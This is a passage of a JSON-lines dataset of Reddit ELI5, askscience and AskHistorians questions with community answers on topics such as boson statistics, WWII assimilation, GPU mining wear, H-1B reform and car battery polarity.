rules called [Bose-Einstein statistics](_URL_1_). Now in the case of bosons you can cram as many particles you like in the exact same state. One key implication of this result is that as you reduce the temperature of a system of bosons towards 0K, they will fall into the lowest energy state possible for the system. \n\nThe fact that bosons follow different statistics is not just an arcane fact, it has very real consequences. In fact, in certain cases we can even see them with our own eyes. For example, the fact that Helium-4 atoms have a net integer spin means that they can act as composite bosons.  As a result, a blob of Helium-4 atoms will follow Bose-Einstein statistics, which at low temperatures allows them to form something called a [superfluid](_URL_3_). A superfluid is marked by the unique property that it can flow without any resistance (zero viscosity). This phenomenon also produces some seemingly crazy results, such as fluids that are actually able to [move upwards and flow around a container](_URL_6_).   \n\nedit: some typos", "There would be no White Dwarf or neutron stars. These stars are held in hydrostatic equilibrium by degeneracy pressure. The Pauli exclusion principle drives degeneracy pressure by ensuring identical fermions cannot occupy the same quantum state. So both would collapse into black holes without it. \n\nWithout White Dwarf stars there would be no type Ia supernovae. So there would be a lower concentration of heavy elements in the universe. Neutron star mergers are thought to produce much of the gold, uranium and other very heavy elements. ", " > Or other subatomic particles.\n\nKeep in mind that some subatomic particles *are* allowed to have the same quantum numbers, in particular bosons are allowed to occupy the same state. The only fundamental bosonic particles are the force carrying ones, but certain combinations of fundamental particles (those with an even number of fermions) will behave like bosons as well, leading to things like the [Bose-Einstein condensates](_URL_0_).", "I believe this question could be answered in a different way. \n\nLet's assume that we, today, found evidence of an atom with two electrons with the same set of quantum numbers. \n\nFirst up -- repeat experiment, and see if it's more common. Let's assume that it is real, but a rare event. \n\nSecond -- okay, we're missing a quantum number. So we'd add another term to the equation, and every physicist would look uncomfortably at each other in talks describing this correction. \n\nSo they'd go back to the drawing board, and they'd start looking for theories that were more graceful about describing matter that included this find -- maybe we'd go away from the fermion/boson world that has worked well, and come up with some other formulation entirely. \n\nBasically, this find would start another hundred years of physics development."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Pauli_exclusion_principle", "https://en.wikipedia.org/wiki/Bose%E2%80%93Einstein_statistics", "https://en.wikipedia.org/wiki/Spin%E2%80%93statistics_theorem", "https://en.wikipedia.org/wiki/Superfluidity", "http://scitation.aip.org/content/aip/journal/jmp/8/8/10.1063/1.1705389", "https://en.wikipedia.org/wiki/Fermi%E2%80%93Dirac_statistics", "https://www.youtube.com/watch?v=2Z6UJbwxBZI"], [], ["https://en.wikipedia.org/wiki/Bose%E2%80%93Einstein_condensate"], []]}
{"q_id": "474lzf", "title": "Did WW2 play an observable role in closing ethnic divisions between white Americans?", "selftext": "This might be more well-suited to /r/asksocialscience, but I find it interesting that the social ascension of Italian, Jewish, Polish, Armenian, and Irish Americans into the \"white mainstream\" appears to coincide with the Second World War.\n\nMillions of white Americans from disparate regions and ethnic backgrounds served together in the same unit, and wartime media often exhibited diversity among Americans. In addition, the United States battled two foes who were explicit ethnic nationalists. \n\nDid this integration of New York Italians, Georgia Scots-Irish, and Wisconsin Germans play any role in bringing marginalized European Americans into the fold? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/474lzf/did_ww2_play_an_observable_role_in_closing_ethnic/", "answers": {"a_id": ["d0assyt"], "score": [10], "text": ["It's often hard to ascribe causal force for single events on long, unfolding processes. It likely had some effect, but the idea was already long in place. The term \"the melting pot\" in reference to American identity, after all, comes from a 1908 play. \n\nWill Herberg's very influential 1954 *Protestant, Catholic, Jew* argued that, since the 1920's at least, American had become a \"triple melting pot\", where ethnic (and within Judaism and Protestantism, sectarian) identities began to matter less and the general religious affiliation matter more. Especially during the Cold War, they were just three different but acceptable ways of being American. \n\nThis [very interesting contemporary reflection](_URL_0_) on Herberg's book and its argument. The author notes that Herberg didn't coin the term \"triple melting pot\":\n\n > He borrowed the phrase from Ruby Jo Kennedy, a sociologist who published in 1944 an article on intermarriage in New Haven called \u201cSingle or Triple Melting Pot?\u201d Kennedy had examined 9,044 marriages from several different years (1870, 1900, 1930, and 1940) to chart the decline of endogamy among people of the same nationality (Irish, Italian, Polish, etc.) and the rise of endogamy among the three religious groups. By 1940, Kennedy found that, in New Haven at least, Catholics married Catholics 85 percent of the time. Protestants married Protestants nearly 80 percent of the time. And Jews married Jews 94 percent of the time. \u201cCulture [i.e. ethnic] lines may fade,\u201d she concluded from her study, \u201cbut religious barriers are holding fast.\u201d\n\nWhich is to say, the closing of ethnic division and the emergence of religious divisions was something underway long before the War. And as the author linked above points out (he's a historian, and author of *Tri-Faith America: How Postwar Catholics and Jews Held America to its Protestant Promise*), the importance of religious divisions seems similarly fleeting and that by 1967, the Kerner Commission reported that:\n\n > the Kerner Commission, declared that America was \u201cmoving toward two societies, one black, one white--separate and unequal.\u201d \n\nBut in all these narratives, the anti-Communist Cold War is emphasized more than the experience of fighting in WW2, and it's important to remember that the post-War relative White racial unity was something that was built over the preceding half-century. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.firstthings.com/article/2006/01/protestant-catholic-jewthen-and-now"]]}
{"q_id": "5sffhi", "title": "how much of our total weight consist of fecal matter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5sffhi/eli5_how_much_of_our_total_weight_consist_of/", "answers": {"a_id": ["ddem9b7", "ddeqwxh", "ddez12h", "ddf5xcv", "ddf67bb", "ddf75tq"], "score": [30, 8, 12, 3, 15, 3], "text": ["Usually, about 1-4 pounds (.5-2 kg). Fecal matter is the very last stage of digested food. It doesn't weigh very much because the last stage of food processing in the large intestines (colon) is designed to absorb most of the water from the digested food. Since the fecal matter doesn't have much water weight, it doesn't weigh that much.", "Even when you take a dump, there is still matter further up the large intestine in the process of getting...processed. So even with a big dump, you don't get it all out. \n\nBut it depends on your scale.  Good measurements to the 1/10th? you'll see a change.  You'd see even more of a change with diarrhea and the expelling of lots of water.  ", "At the fraternity I used to live in we had a scale by the shitter and I can tell you from experience 1 lb was about average but 2 pounders weren't uncommon. ", "Weird... i actually weighed myself today before and after i pooped. I was 180.2lbs before and 177.4lbs after. Dont know why, but here i am, contributing to this discussion. I even looked and played \"guess the weight of the poop\" before standing on the scales again. It looked less than a lb to me, minimal splash and it flushed first time, must have been so dense to weigh as much as it did. ", "Thats not an explanation request. Thats a simple question. An ELI5 would be more like \"how is shit stored in my body\". Put another way, its a shit question. ;P", "Story time!\nFriend of mine was a professional boxer way back when, even fought against De la Hoya when they were both amateurs. The way he tells the story, he needed to cut about 5 lbs to make weight, but didn't feel like sweating it all out. So, being the genius he was, decided to call up his brother (he was in the medical field, not sure of occupation) and get a recommendation for a OTC fast acting laxative since weigh in was the next morning.\n\nWell, remember the genius part? He forgot the name of the kind to get, so just grabbed one. Got home, drank some of it, 2 hours later, still nothing, drank some more, still nothing, then finally killed the bottle.\n\nThis is where the story becomes relevant. He showed up to the weigh in, desperately trying to sweat everything out, but figured he probably wouldn't make it still. Literally as he steps up to the scale, his stomach beings calling upon the terrible wrath of cthulhu, like a thousand didjeridus cursing the sun. The official doing the weigh in heard it and must've been terrified because he just looked and told him to \"Run!\". He said it was by far the most excruciating hour of his life, holding on to the toilet as the stream of projectile shit threatened to rocket him off into space.\n\nWhen he was finally able to get up and to the scale, he was 12lbs underweight! So yes, some people literally are full of shit.\n\nEdit: obviously some of the weight lost was via sweat, but definitely not 17 lbs worth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "68peu1", "title": "why was there no big nazi insurgency/partisan activity after geramy was occupied?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68peu1/eli5_why_was_there_no_big_nazi_insurgencypartisan/", "answers": {"a_id": ["dh082a7", "dh0fse5", "dh0jhvb", "dh0nojj", "dh0pgte"], "score": [38, 12, 6, 3, 3], "text": ["There was *very* briefly, the regular German army helped defeat some rogue SS units in the weeks after the war ended.\n\nFor the most part the population wasn't terribly interested in reviving the ideology that just got them bombed to rubble and killed off an entire generation.", "I have this one (I just did a report on it) basically everyone is familiar with the Marshall plan but the de-nazification system pretty much became a massive propaganda (anything pro-nazi was illegal) movement by the allies (primarily in the west) depending on how 'nazi' you were you could be banned from some/all work\n\nplus the whole forced knowledge of concentration camps kind of made being a nazi super socially unacceptable", "The sheer number of troops in the country, combined with the utter devastation from the bombings and fighting. If the Germans wanted to live, they needed supplies from the Allies. That, combined with disillusionment with the propaganda of the nazis. All their stories didn't work out.   ", "There were some plans to have werewolf units do an insurgency, but they weren't plans that had been worked out very well and in depth because the high command didn't like planning for things that involved their defeat.\n\nIt didn't help that towards the end there were very few people left who were actually able to continue fighting and even fewer who had any inclination to do so.\n\nMost of the males who were of fighting age were prisoners or dead or in no shape to fight. There wasn't much in the way of equipment and the ones who had seen what fighting insurgencies was like often were disinclined to be on the other side of that sort of thing.\n\nIn the west in the zones occupied by the US and the UK, there was the knowledge that things could be much worse like being occupied by the Russians or being ethnically cleansed out of their homes entirely as happened in the east.\n\nIf the occupation forces had been much more draconian and offered fewer options for things to return to a new normal things may have been different.\n\n", "Germany was so short on manpower towards the end of the war that minors in the Hitler Youth were being drafted as child soldiers to try and keep up the war effort. \n\nMost potential members of a Nazi insurgency were probably dead or captured by the time the war ended."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "apukyt", "title": "why are graphic cards that have been used for mining avoided?", "selftext": "I see used cards being advertised as 'not used for mining'.  Is it just because of wear and tear? Do GPU's have a number of hours before they become redundant?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/apukyt/eli5_why_are_graphic_cards_that_have_been_used/", "answers": {"a_id": ["egb878y", "egbacdb", "egbfbk3", "egbo33p"], "score": [6, 2, 5, 5], "text": ["Because they have been used non stop and the hardware is usually worn down", "I thought it was Fans... Most fans on video cards have sealed bearings, aka you can't put more line in then very easy. If you run a card for gaming the fans don't have a lot of hours on them. If you run them for mining the fans have a lot of hours. \nAlso, fans are cheap and easy to replace", "This has been debated many times - If the cards are not physically damaged you really have no concerns when it comes to buying a card that was used in a mining rig. \n\nRun time on the cards really does not degrade their performance and temps are not a problem either as any modern card has thermal throttling built in, so without noticeable mods done to the cards there just is not a concern. ", "As some people have pointed out, there's a risk that the mining card was run super hard in order to milk as much output from it as possible. Many miners who operate large farms, or people who have really expensive electricity costs, might underclock their cards to maximize the efficiency of their cost to return ratio, and those are probably fine. But every miner selling their cards will say that they always kept them undervolted and with fan speed pegged at 60% in a climate controlled environment, because that's the only way anyone would consider buying their card. But I guarantee you that they were not all maintained like that. The problem is that it's impossible to tell which group your potential card came from. There's an inherent risk in buying a mining card that you might end up with one that was sitting in someone's shed just chugging away 24/7 for months. \n\nThe other part of it is more a social consequence, I believe. For PC enthusiasts, basically an entire year worth of the market was completely destroyed because so many components, not even just GPUs, were prohibitively expensive because of mining. Some may argue to the contrary, but for many people there's a certain philosophical opposition. At least from many of the people I've talked to. Why would we get screwed over on pricing because of miners, let them make some money off of crypto for a bit, and then basically get their money back on selling the card off after they've got their use out of it?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1hbaqj", "title": "how will the new immigration reform affect h1b employees?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hbaqj/eli5_how_will_the_new_immigration_reform_affect/", "answers": {"a_id": ["casr20v"], "score": [4], "text": ["The current law has an annual cap of 65,000 H-1B visas, with an additional 20,000 available for people with Master's Degrees or higher. The bill passed by the Senate raises the 65,000 cap to 110,000. The Master's cap will be increased to 25,000. These caps can increase on a yearly basis depending on the unemployment rate, up to 180,000 total.   \n  \nAdditionally, for companies whose workforce consists of more than 15% of H-1B workers, there are stringent new rules pertaining to approval. This is undoubtedly an effort to prevent companies from abusing the H-1B system at the expense of American workers.   \n  \nFinally, the bill creates a whole new type of visa that will be merit based. It will be based on a point system and will take into consideration education, employment, etc. 120,000 of these visas will be available (can be increased 5% every year,  up to 250,000, depending on the unemployment rate). This type of visa can serve as an alternative to an H-1B visa for highly skilled individuals. However, unlike the H-1B visa, this will be an immigrant visa, whereas the H-1B is a nonimmigrant visa. This means you can gain permanent residence much more easily with this merit visa than you could with an H-1B, which by its very nature is supposed to be temporary.\n  \nNow keep in mind that this is only applicable to the law that the Senate passed and may not actually end up being the final law once the House passes their version, whenever that may be. \n\nTo summarize, it looks as though for current H-1B visa holders, it will be business as usual (six year visa with renewals, with the option of applying for permanent residence through the permanent labor certification process). The bill will mostly affect new applicants. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1s64zp", "title": "Does the removal of leaves from suburban land very year cause damage to soil quality?", "selftext": "I was watching the town trucks pick up leaf piles curbside and it got me wondering. non-science person here, sorry if im misunderstanding some basic concept.  Every year*", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s64zp/does_the_removal_of_leaves_from_suburban_land/", "answers": {"a_id": ["cduckbv", "cduczkp", "cduh1h7", "cduysz1"], "score": [82, 36, 6, 3], "text": ["Generally leaf litter is a positive contributor to soil health in a number of ways, including but not limited to:\n\n1. Recycling elements such as carbon dioxide and nitrogen to be absorbed again by plants, and playing a part in the nitrogen cycle.\n\n2. Providing important food to microflora and fauna, which in turn work the soil, thereby increasing soil aeration.\n\n3. Helps to break down clay soil, aiding drainage and aeration. \n\nSo removal of leaf litter prevents these and other benefits from happening, but to be fair, it's not on a large enough scale to be noticeably detrimental. Various things happen throughout the seasons which add to  &  subtract from soil health.", "Most likely you would be able to detect very minute changes over long spans of time (say decades) but if you look at what percentage of a tree actually comes from the soil and not the air then you would have a much better perspective. Over 90% of the tree comes from the air not the soil, this is in the carbon that is pulled from the air and subsequently turned into various products in the tree. This is why trees are very good at temporary carbon sequestration. See here _URL_0_", "Lots of good answers, but it's also worth noting that there's nothing stopping most people from just running their lawn mower over the fallen leaves on their yards.\n\nSome people will obviously have too many leaves to do this, but unless you have several large trees, you can probably get away with it.\n\nIt's good for the soil, and frankly, I find it easier than raking.", "Crop soil and environmental science major here \n\nYes it does. For one, leaf litter can help keep the vegetation beneath it incubated and alive which will then lead to less erosion and stronger soil. Second the litter breaks down and provides plant available nitrogen to be used as well as water carbon and oxygen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://entirelysubjective.com/what-are-trees-made-of/"], [], []]}
{"q_id": "6ixn8n", "title": "Why is the positive terminal of a car battery considered \"hot?\"", "selftext": "I have a very basic understanding of circuitry: I know electrons have a negative charge and they flow from a negatively charged anode through a device you wish to power then into a cathode. In domestic wiring I know a wall receptacle has a black \"hot\" wire and a white \"neutral\" wire.\n\nWhy then is the positive terminal of a car battery red, \"hot,\" and usually insulated with rubber (I assume as a safety feature) while the negative terminal is black and unprotected?  \n\n**Edit 1:** I found [this website](_URL_1_) detailing wire colour codes and it seems the answer to my question, as pointed out by /u/myaccisbest, is that the convention for labeling batteries existed before the discovery or understanding of the negatively charged electron. That is backed up by this [Wikipedia article](_URL_0_) although that does not list any sources.\n\n**Edit 2:** It turns out my limited understanding of electronics led me to this question. Although electrons indeed flow from the negative terminal of a car battery to the positive terminal, the negative terminal of the battery is connected to the car's chassis and is consequently grounded. The positive terminal, however, is isolated from the chassis by insulation and that is why it is considered hot. As /u/myaccisbest pointed out the battery/car would function the same if the negative terminal was hot and the positive was grounded but that would be needlessly defying convention.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6ixn8n/why_is_the_positive_terminal_of_a_car_battery/", "answers": {"a_id": ["dj9yptf", "djaa2fd"], "score": [5, 2], "text": ["You asked about car batteries so I'll try to explain why mechanics use the term \"hot\". In the U.S. the negative terminal of the battery is connected to the chassis of the car,  so any exposed metal surface of the car is considered \"grounded\". The positive terminal is carefully connected only to loads like lights,  pumps,  motors, etc. Those wires,  like the terminal itself, are considered \"hot\" or \"live\" because if they touch any grounded point of the car sparks will fly,  and if there's no fuse the wire can over heat and catch fire. ", "In electricity a hot terminal is one that is intentionally floating above ground. For safety, most circuits that people need to touch are in some way grounded, otherwise you would get a shock if you touched them and the ground at the same time. In AC power distribution there is a Line and Neutral. Neutral is referenced to ground somewhere nearby, not exactly safe to touch but there is an attempt to make it more ground like. The Line voltage is very intentionally not connected to ground, it is swinging and providing the potential to drive current in the circuit. \n\nThe third leg, Ground, is present to provide an extra measure of safety. When current flows from Line to Neutral, there will be a voltage drop in the wiring that is supplying the power to the socket or whatever, which means that Neutral will develop a voltage relative to Ground. The actual Ground connecting does not normally carry current, and thus it should stay at actual local ground. This terminal is connected to the case of the circuit, since that is the part that people could touch. If somehow a wire inside the circuit that carried Line voltage came in contact with the case, you wouldn't want that be present when you touch the case, ouch. Instead, if a Line wire touches the case it will pass a bunch of current to ground, and hopefully the breaker will blow before it starts a fire."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Electrical_polarity", "https://www.graphicproducts.com/articles/wire-color-coding/"], "answers_urls": [[], []]}
{"q_id": "5vd78s", "title": "if i swallowed a long piece of string, kept one end out of my mouth and waited long enough to pass the other end, what would happen if i pulled both ends really hard?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vd78s/eli5_if_i_swallowed_a_long_piece_of_string_kept/", "answers": {"a_id": ["de13px9", "de13pyw"], "score": [8, 12], "text": ["Optimally, the string breaks. Sub-optimally, your GI tract is subjected to a sudden, forceful imperative to straighten, and the string either pulls your business out of place, perforates your intestines, or otherwise arranges your business in a less than preferred design.", "Assuming your stomach didn't simply digest the string, it would be pretty rough on you.  Your digestive tract is extremely long, and it's all coiled up.\n\nImagine taking a piece of coiled licorice candy except making it about nine meters in length (or about 26 feet) and coiling it up real nicely into the shape of a human torso.  Now thread a piece of heavy-duty wire through it.  And then pull it taut.  It would just slice right through that soft candy as it straightens.\n\nOf course, human digestive tracts are tougher than licorice candy, and a string isn't as likely to tear through things as a heavy-duty wire would be, but it would be extremely abrasive at best."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ldbf4", "title": "calling all five-year-olds! submit your favorite questions and responses to be considered for inclusion in the five-year-old's guide to the galaxy.", "selftext": "We currently have 51 posts [here](_URL_0_) that constitute the Five-Year-Olds Guide to the Galaxy. Each one is an answer to a question asked in the subreddit that exemplifies the unbiased, simple, fact-based explanations we strive for in this community.\n\nHere's where you come in: We want to expand the Guide, so as mods, we're asking all of you, the users, to nominate the best answers you've seen to questions in this subreddit. We're looking for answers to pertinent questions that are factual, unbiased, and easy to understand. The mods will take all suggestions into consideration for inclusion in the guide.\n\nThanks for all your support, you're a wonderful community to work with!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ldbf4/calling_all_fiveyearolds_submit_your_favorite/", "answers": {"a_id": ["c2wjw2r", "c2zxs9r", "c301cj6", "c32kd4r", "c3x08tg", "c45kfkz", "c3eum4q", "c3hj86f", "c38mee5", "c3955a0", "c39b1xk", "c39mea5", "c3apsyx", "c2wjw2r", "c2zxs9r", "c301cj6", "c32kd4r", "c2rvc7o", "c2rwzxj", "c2ua9z2", "c2ummsd", "c2uvijz", "c2uw2ne", "c2rvc7o", "c2rwzxj", "c2ua9z2", "c2ummsd", "c2uvijz", "c2uw2ne", "c38mee5", "c3955a0", "c39b1xk", "c39mea5", "c3apsyx"], "score": [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 7, 3, 2, 3, 3, 3, 7, 3, 2, 3, 3, 3, 2, 2, 3, 2, 2], "text": ["Excellent ELI5 on homeopathic medicine.\n\n_URL_0_", "[Fragmentation](_URL_0_). A difficult topic backed by a simple concept. Thanks, konisforce!", "[This question](_URL_0_) and several of the answers show what I like best about this reddit.  Simple answers to potentially complicated questions, and a lot of people adding different information.", "[This comment](_URL_0_) about Turing tests is one of the more insightful explanations I've seen.", "[The effects of LSD](_URL_0_)", "[Anti-virus Software](_URL_0_) by Creabhain", "_URL_1_\n\nmaybe to psychology catagory?\n\nOr, to simplify: _URL_0_", "Superb history of The Soviet Union! Recent addition. _URL_0_", "One for the Technology section:  \n[How a processor works](_URL_0_)", "How does healthcare work in the US? An informative, factual answer that avoids judgement and political bias.\n\n_URL_0_", "Not sure if Tilt Shift photography counts as pertinent (it is part of the Galaxy I guess), but this is a great explanation to a question that's hard to get answered.\n\n_URL_0_", "I'm going to post some of my own, I'll let you guys decide. If they are chosen, I would like the chance to clean them up a bit. \n\n\n[Time dilation in Special Relativity](_URL_1_). \n\n[Time dilation in General Relativity](_URL_0_). (I really wish this one had gotten more attention, it's the one I'm most proud of.)\n\n[What prime numbers are](_URL_2_). ", "How lobbying works, its purpose, and its aberrations in the US.\n\n_URL_0_", "Excellent ELI5 on homeopathic medicine.\n\n_URL_0_", "[Fragmentation](_URL_0_). A difficult topic backed by a simple concept. Thanks, konisforce!", "[This question](_URL_0_) and several of the answers show what I like best about this reddit.  Simple answers to potentially complicated questions, and a lot of people adding different information.", "[This comment](_URL_0_) about Turing tests is one of the more insightful explanations I've seen.", "I think [this reply](_URL_0_) was instrumental in getting me to understand the difference in processor architecture.\n\nComplex topic. Complex explanation, but layered so it seems simple.", "This one: [CPU/GPU](_URL_0_)\nand [more controversial one](_URL_1_)", "_URL_0_ - awesome explanation of the Gaddafi rule. ", "Is it tacky to submit [my own comment](_URL_0_)?  It's by far the most upvotes I've ever received for a single comment :)", "No fly zones - A very concise and easily understandable answer. _URL_0_", "[This](_URL_0_) is an excellent reply about how napoleonic infantry formations worked.", "I think [this reply](_URL_0_) was instrumental in getting me to understand the difference in processor architecture.\n\nComplex topic. Complex explanation, but layered so it seems simple.", "This one: [CPU/GPU](_URL_0_)\nand [more controversial one](_URL_1_)", "_URL_0_ - awesome explanation of the Gaddafi rule. ", "Is it tacky to submit [my own comment](_URL_0_)?  It's by far the most upvotes I've ever received for a single comment :)", "No fly zones - A very concise and easily understandable answer. _URL_0_", "[This](_URL_0_) is an excellent reply about how napoleonic infantry formations worked.", "One for the Technology section:  \n[How a processor works](_URL_0_)", "How does healthcare work in the US? An informative, factual answer that avoids judgement and political bias.\n\n_URL_0_", "Not sure if Tilt Shift photography counts as pertinent (it is part of the Galaxy I guess), but this is a great explanation to a question that's hard to get answered.\n\n_URL_0_", "I'm going to post some of my own, I'll let you guys decide. If they are chosen, I would like the chance to clean them up a bit. \n\n\n[Time dilation in Special Relativity](_URL_1_). \n\n[Time dilation in General Relativity](_URL_0_). (I really wish this one had gotten more attention, it's the one I'm most proud of.)\n\n[What prime numbers are](_URL_2_). ", "How lobbying works, its purpose, and its aberrations in the US.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/j86h2/the_fiveyearolds_guide_to_the_galaxy/"], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/ly5vh/eili5_what_is_homeopathic_medicine/c2wjgwy"], ["http://www.reddit.com/r/explainlikeimfive/comments/md2go/eli5_fragmentationdefragmentation/c2zxqcz"], ["http://www.reddit.com/r/explainlikeimfive/comments/md57i/eli5_what_does_liter_measure_when_talking_about/"], ["http://www.reddit.com/r/explainlikeimfive/comments/mk34a/eli5_the_turing_test/c31m73l"], ["http://www.reddit.com/r/explainlikeimfive/comments/qdp8q/eli5_what_lsd_does_to_your_brain_to_cause_those/c3wyg5v"], ["http://www.reddit.com/r/explainlikeimfive/comments/rfvbw/eli5_antivirus_how_does_it_work_whats_the_best/c45hq3n"], ["http://www.reddit.com/r/explainlikeimfive/comments/o6beh/eli5_the_id_ego_and_superego/c3eqom1", "http://www.reddit.com/r/explainlikeimfive/comments/o6beh/eli5_the_id_ego_and_superego/c3epxgh"], ["http://www.reddit.com/r/explainlikeimfive/comments/oi56y/eli5_the_history_of_the_soviet_union/"], ["http://www.reddit.com/r/explainlikeimfive/comments/nf51z/eli15_how_a_processor_works/c38lsjf"], ["http://www.reddit.com/r/explainlikeimfive/comments/nhale/how_does_healthcare_work_in_the_us/c393h9i"], ["http://www.reddit.com/r/explainlikeimfive/comments/nfpdq/eli5_how_does_a_tiltshift_lens_work/c38rldj"], ["http://www.reddit.com/r/explainlikeimfive/comments/j44uq/how_does_time_dilation_work_why_should_you_age/c28zi9k", "http://www.reddit.com/r/explainlikeimfive/comments/j44uq/how_does_time_dilation_work_why_should_you_age/c28z810", "http://www.reddit.com/r/explainlikeimfive/comments/jv91t/eli5_what_prime_numbers_are_and_why_theyre/c2feffq"], ["http://www.reddit.com/r/explainlikeimfive/comments/nod2d/eli5_how_does_the_lobbying_process_work_in_the_us/c3aomk0"], ["http://www.reddit.com/r/explainlikeimfive/comments/ly5vh/eili5_what_is_homeopathic_medicine/c2wjgwy"], ["http://www.reddit.com/r/explainlikeimfive/comments/md2go/eli5_fragmentationdefragmentation/c2zxqcz"], ["http://www.reddit.com/r/explainlikeimfive/comments/md57i/eli5_what_does_liter_measure_when_talking_about/"], ["http://www.reddit.com/r/explainlikeimfive/comments/mk34a/eli5_the_turing_test/c31m73l"], ["http://www.reddit.com/r/explainlikeimfive/comments/jo4qc/eli5_why_is_a_22_ghz_i7_processor_better_than_my/c2dsmep"], ["http://www.reddit.com/r/explainlikeimfive/comments/laj0n/eli5_cpu_gpu_manufacturing_processes/", "http://www.reddit.com/r/explainlikeimfive/comments/kql4k/eli5_how_did_fighting_wwii_bring_the_us_out_of/"], ["http://www.reddit.com/r/explainlikeimfive/comments/lnvts/eli5_why_libya_and_gadhafi_were_bad_and_what_the/c2u7b4v"], ["http://www.reddit.com/r/explainlikeimfive/comments/jkkxz/eli5_why_does_a_computer_gradually_start_to_slow/c2cwofi"], ["http://www.reddit.com/r/explainlikeimfive/comments/lqrum/can_someone_eli5_how_a_nofly_zone_is_reinforced/c2uuwzo"], ["http://www.reddit.com/r/explainlikeimfive/comments/lnwn9/why_people_used_muskets_over_crossbows/c2u93ch"], ["http://www.reddit.com/r/explainlikeimfive/comments/jo4qc/eli5_why_is_a_22_ghz_i7_processor_better_than_my/c2dsmep"], ["http://www.reddit.com/r/explainlikeimfive/comments/laj0n/eli5_cpu_gpu_manufacturing_processes/", "http://www.reddit.com/r/explainlikeimfive/comments/kql4k/eli5_how_did_fighting_wwii_bring_the_us_out_of/"], ["http://www.reddit.com/r/explainlikeimfive/comments/lnvts/eli5_why_libya_and_gadhafi_were_bad_and_what_the/c2u7b4v"], ["http://www.reddit.com/r/explainlikeimfive/comments/jkkxz/eli5_why_does_a_computer_gradually_start_to_slow/c2cwofi"], ["http://www.reddit.com/r/explainlikeimfive/comments/lqrum/can_someone_eli5_how_a_nofly_zone_is_reinforced/c2uuwzo"], ["http://www.reddit.com/r/explainlikeimfive/comments/lnwn9/why_people_used_muskets_over_crossbows/c2u93ch"], ["http://www.reddit.com/r/explainlikeimfive/comments/nf51z/eli15_how_a_processor_works/c38lsjf"], ["http://www.reddit.com/r/explainlikeimfive/comments/nhale/how_does_healthcare_work_in_the_us/c393h9i"], ["http://www.reddit.com/r/explainlikeimfive/comments/nfpdq/eli5_how_does_a_tiltshift_lens_work/c38rldj"], ["http://www.reddit.com/r/explainlikeimfive/comments/j44uq/how_does_time_dilation_work_why_should_you_age/c28zi9k", "http://www.reddit.com/r/explainlikeimfive/comments/j44uq/how_does_time_dilation_work_why_should_you_age/c28z810", "http://www.reddit.com/r/explainlikeimfive/comments/jv91t/eli5_what_prime_numbers_are_and_why_theyre/c2feffq"], ["http://www.reddit.com/r/explainlikeimfive/comments/nod2d/eli5_how_does_the_lobbying_process_work_in_the_us/c3aomk0"]]}
{"q_id": "b36viy", "title": "why and how is putting a warm teabag on your eye if it's irritated helpful at relieving it?", "selftext": "I used to get seriously irritated and puffy eyes as a kid from allergies often. My Grandma would tell me to warm a teabag in hot water and put it over my eye with a cloth over it. \n\nI'm 33 now and still do this.\n\nWhat is it about it tea/teabag that takes the sting out of an irritated eye so fast and helps give my eye relief?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b36viy/eli5_why_and_how_is_putting_a_warm_teabag_on_your/", "answers": {"a_id": ["eixlhz3", "eixnwl8"], "score": [3, 5], "text": ["Warm sensations over the eye is similar to how a warm bath relives muscle tension. Your eyes movement is due the movement of the oculi muscles which become inflamed when your eyes are puffy; therefore warm teabags will allow the inflammation to lower.", "Supposedly the tannic acid in the tea helps, I\u2019ve done it when I\u2019ve gotten an arc flash from welding. Seems to help with it. I\u2019ve also used it when I had a chunk of spatter in my eye.  Could be a placebo effect type of thing, if someone knows for sure don\u2019t tell me as I\u2019d like it to keep working just in case. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rd95o", "title": "why can't light \"overfill\" closed containers like gas and liquids do?", "selftext": "I feel like the easy answer to this is \"Because light has no mass.\" But where does the spent energy go?\n\nIf you create an enclosed container and keep adding water to it, eventually the container will overfill and the container will burst. The same can be said of gas.\n\nWhat makes light so different? \n\nIf you create a similar space and put a lightbulb in it, that lightbulb is providing a constant \"flow\" of light in the same sense that a stream of water provides a flowing source of water, but the stream of water pools up at the bottom of the container. What is the equivalent of that pool, for light?\n\nBy comparison, if you provide the constant source of gas, the gas expands throughout the container and is compressed because there's nowhere else for it to go. Why can light escape this when gas cannot?\n\nEDIT: Wording error.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rd95o/eli5_why_cant_light_overfill_closed_containers/", "answers": {"a_id": ["cdm233r", "cdmeffo"], "score": [11, 2], "text": ["This is because you can't have two atoms in the same spot. Atoms occupy physical space, they have volume. Photons, though, don't. They don't have mass nor 